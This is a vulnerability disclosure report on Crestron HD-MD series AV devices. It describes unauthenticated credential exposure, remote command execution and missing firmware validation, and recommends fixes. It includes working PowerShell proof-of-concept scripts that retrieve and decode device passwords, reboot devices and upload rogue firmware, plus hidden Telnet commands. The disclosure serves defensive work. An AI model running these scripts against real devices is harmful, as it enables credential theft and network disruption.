HD-MD Series Device Vulnerability Report

Vulnerability Assessment Report Prepared For

CRESTRON®

By: Anthony Tippy

Report Issued: 08/10/2021

TABLE OF CONTENTS

EXECUTIVE SUMMARY

The purpose of this report is to identify vulnerabilities in Crestron Electronics devices and suggest methods to remediate the vulnerabilities. Anthony Tippy identified a total of 3 vulnerabilities which are broken down by severity in the table below.

CRITICAL	HIGH	MEDIUM	LOW
0	3	0	0

The highest severity vulnerabilities give potential attackers the opportunity to change escalate user privilege and perform remote code execution on affected devices. In order to ensure data confidentiality, integrity, and availability, security remediations should be implemented as described in the security assessment findings.

Note that this assessment may not disclose all vulnerabilities that are present on the systems.

Effected Products/Models

Model	Firmware Version
HD-MD-400-C-E KIT	(Current) 2.0.1.2274 and prior
HD-MD-RX-201-C-E	(Current) 2.0.1.2274 and prior
HD-TX-301-C-E	(Current) 2.0.1.2274 and prior
HD-MD4x1-4K-E	(Current) 2.0.1.2274 and prior
Possibly other HD-MD/ DM-Lite series devices	Unconfirmed

1. Insecure Credential Handling - Insecure Direct Object References (IDOR)

Devices insecurely hosts and displays base64 encoded user credentials as well as other device information in webpage. Credential strings are accessible by users without prior authentication and can be very easily decoded to modify device settings. Decoded credentials may be used to further compromise user networks/devices.

URL: “http://<IP ADDRESS>/aj.html?a=devi&_=1625077708376”

2. Remote Code Execution

Devices are vulnerable to remote code execution via multiple vectors without prior authentication

1. Telnet is enabled by default and accepts arbitrary hidden commands such as
    a. IPAddUser – Displays all users of device (Including plaintext username and password)
    b. IPDelUser – Delete user profile from device
    c. RESO – Change device resolution
    d. IPStatic – Set Static IP address
    e. And other configuration changes accessible via the web interface
2. Invoke-RestMethod URL commands
    a. Reboot Device
        (i) http://<IP ADDRESS>//aj.html?a=command&cmd=UREBOOT
        (ii) "http://<IP ADDRESS>//aj.html?a=command&cmd=REBOOT"
    b. Upload Firmware (or other file)
        (i) http://<IP ADDRESS>/aj.html?a=command&cmd=FWUP
    c. Various other web config changes
        (i) http://<IP ADDRESS>/aj.html?a=command&cmd=<COMMAND CODE>

3. Insecure Firmware Validation

Devices do not confirm or validate firmware files loaded to device. An attacker could leverage this to upload a malicious firmware image to gain further access to device to further pivot to attacking other devices on the network, expanding their access and intrusion.

Firmware files are “.bin” files which are easy to modify and recompile with malicious code.

HIGH LEVEL ASSESSMENT OVERVIEW

Areas for Improvement

It is recommended Crestron Electronics takes the following actions to improve the security of these devices.   Implementing these mitigations will reduce the likelihood that an attacker will be able to successfully attack customers information systems and/or reduce the impact of a successful attack.

Mitigation Recommendations

It is recommended Crestron Electronics take the following actions as soon as possible to minimize business risk to customers and clients

1. Insecure Credential Handling - Insecure Direct Object References (IDOR)
    a. Do not reference credential strings in arrays which can be displayed and called via web requests
    b. Do not store credentials via base64 encoding. Instead, utilize hashing or encryption to securely store credentials
    c. Allow access to device array information ONLY after authentication
2. Remote Code Execution
    a. Telnet – Disable telnet, SSH should be used as a replacement
    b. Web Request command execution should only be possible with Credentials /authentication provided
3. Insecure Firmware Validation
    a. Implement Firmware validation check processes to validate the authenticity of files/firmware loaded to devices
        i. Validate firmware files with SHA hash
        ii. Store firmware files in other file format other than .BIN, for example .PUF as seen in other Crestron devices as it is encrypted and makes firmware reverse engineering more challenging.

CLASSIFICATION DEFINITIONS

Risk Classifications

Level	Score	Description
Critical	**10**	The vulnerability poses an immediate threat to the organization. Successful exploitation may permanently affect the organization. Remediation should be immediately performed.
High	**7-9**	The vulnerability poses an urgent threat to the organization, and remediation should be prioritized.
Medium	**4-6**	Successful exploitation is possible and may result in notable disruption of business functionality. This vulnerability should be remediated when feasible.
Low	**1-3**	The vulnerability poses a negligible/minimal threat to the organization. The presence of this vulnerability should be noted and remediated if possible.
Informational	**0**	These findings have no clear threat to the organization, but may cause business processes to function differently than desired or reveal sensitive information about the company.

Exploitation Likelihood Classifications

Likelihood	Description
Likely	Exploitation methods are well-known and can be performed using publicly available tools. Low-skilled attackers and automated tools could successfully exploit the vulnerability with minimal difficulty.
Possible	Exploitation methods are well-known, may be performed using public tools, but require configuration. Understanding of the underlying system is required for successful exploitation.
Unlikely	Exploitation requires deep understanding of the underlying systems or advanced technical skills. Precise conditions may be required for successful exploitation.

Business Impact Classifications

Impact	Description
Major	Successful exploitation may result in large disruptions of critical business functions across the organization and significant financial damage.
Moderate	Successful exploitation may cause significant disruptions to non-critical business functions.
Minor	Successful exploitation may affect few users, without causing much disruption to routine business functions.

Remediation Difficulty Classifications

Difficulty	Description
Hard	Remediation may require extensive reconfiguration of underlying systems that is time consuming. Remediation may require disruption of normal business functions.
Moderate	Remediation may require minor reconfigurations or additions that may be time-intensive or expensive.
Easy	Remediation can be accomplished in a short amount of time, with little difficulty.

Vulnerabilities

Number	Finding	Risk Score	Risk	Page
1	Insecure Credential Handling - Insecure Direct Object References (IDOR)	**8**	**High**	10
2	Remote Code Execution	**8**	**High**	11
3	Improper Firmware / File Validation	**8**	**High**	12

1 - Insecure Credential Handling - Insecure Direct Object References (IDOR)

HIGH RISK (8/10)	
Exploitation Likelihood	**Likely**
Business Impact	**High**
Remediation Difficulty	**Moderate**

Security Implications

Usernames and Passwords for devices are insecurely stored and may be easily decoded by attackers to further compromise networks and devices.

Analysis

Attackers may invoke web requests to a custom URL to reveal an array of encoded credential information. With a simple PowerShell script, an attacker can target and compromise large numbers of devices with little difficulty to gain further control of a customer network.

```powershell
$d = "<DEVICE IP ADDRESS>"

$openpage = invoke-restmethod -Method get -uri
"http://$d/aj.html?a=devi&_=1625077708376" -TimeoutSec 5 -ErrorAction Continue

write-host $openpage


$user = $openpage.uname
write-host "Base64 Username: $user"

$pass = $openpage.upassword
write-host "Base64 Password: $pass"


$decodeduser =
[System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String("$user"))
Write-host "Decoded Username: $decodeduser"


$decodedpass =
[System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String("$pass"))
Write-host "Decoded Password: $decodedpass`n"
```

***Figure 1** : Example PowerShell script to decode credentials*

2 - Remote Code Execution

HIGH RISK (8/10)	
Exploitation Likelihood	**Likely**
Business Impact	**High**
Remediation Difficulty	**Moderate**

Security Implications

Attackers are able to easily execute remote commands on devices at scale to cause disruption to customers devices/ network. If executed properly, an attacker could cause widespread disruption of audio visual HD-MD series devices by rebooting devices, changing passwords, or more advanced attacks to compromise networks.

Analysis

Devices accept web request commands which can modify any setting found in the web configuration interface remotely without authentication. With a simple PowerShell script, an attacker can target and compromise large numbers of devices with little difficulty to gain further control of a customer network. Commands consist of but are not limited to:

TELNET COMMANDS

a. IPAddUser – Displays all users of device (Including plaintext username and password)
b. IPDelUser – Delete user profile from device
c. RESO – Change device resolution
d. IPStatic – Set Static IP address
e. And other configuration changes accessible via the web interface

PowerShell Web Requests

```
#Remote Reboot Commands
Invoke-RestMethod -Method get -Uri "http://$d/aj.html?a=command&cmd=UREBOOT" -
TimeoutSec 1
Invoke-RestMethod -Method get -Uri "http://$d/aj.html?a=command&cmd=REBOOT" -
TimeoutSec 1

#Firmware Update/Rogue File Upload
try{
        $wc = New-Object System.Net.WebClient

        #send the file
        $wc.UploadFile("http://$d/aj.html",$file.FullName)
           Start-Sleep -Seconds 5

        $FWUP = Invoke-RestMethod -Method Default -Uri
"http://$d/aj.html?a=command&cmd=FWUP"
        $FWUpdate = "Success : $file"

        }
        catch{"$d : Error Updating Firmware"
                $FUpdate = "Fail"}
```

***Figure 2**: Example PowerShell script detailing a few possible commands that can be executed*

3 – Improper Firmware/File Validation

HIGH RISK (8/10)	
Exploitation Likelihood	**Severe**
Business Impact	**High**
Remediation Difficulty	**Moderate**

Security Implications

Device does not do any file analysis to confirm that the file being uploaded and ran is genuine from Crestron. With this vulnerability an attacker may be able to engineer a malicious firmware file to take full control of the device and use them to further compromise networks/devices of Crestron customers.

APPENDIX A - TOOLS USED

TOOL	DESCRIPTION
PowerShell	Used for testing of exploitation of vulnerabilities.
Putty	Used for exploitation of vulnerable services (TELNET)

Table A.1: *Tools used*

APPENDIX B - Contact INFORMATION

Name	Anthony Tippy
Email	[redacted]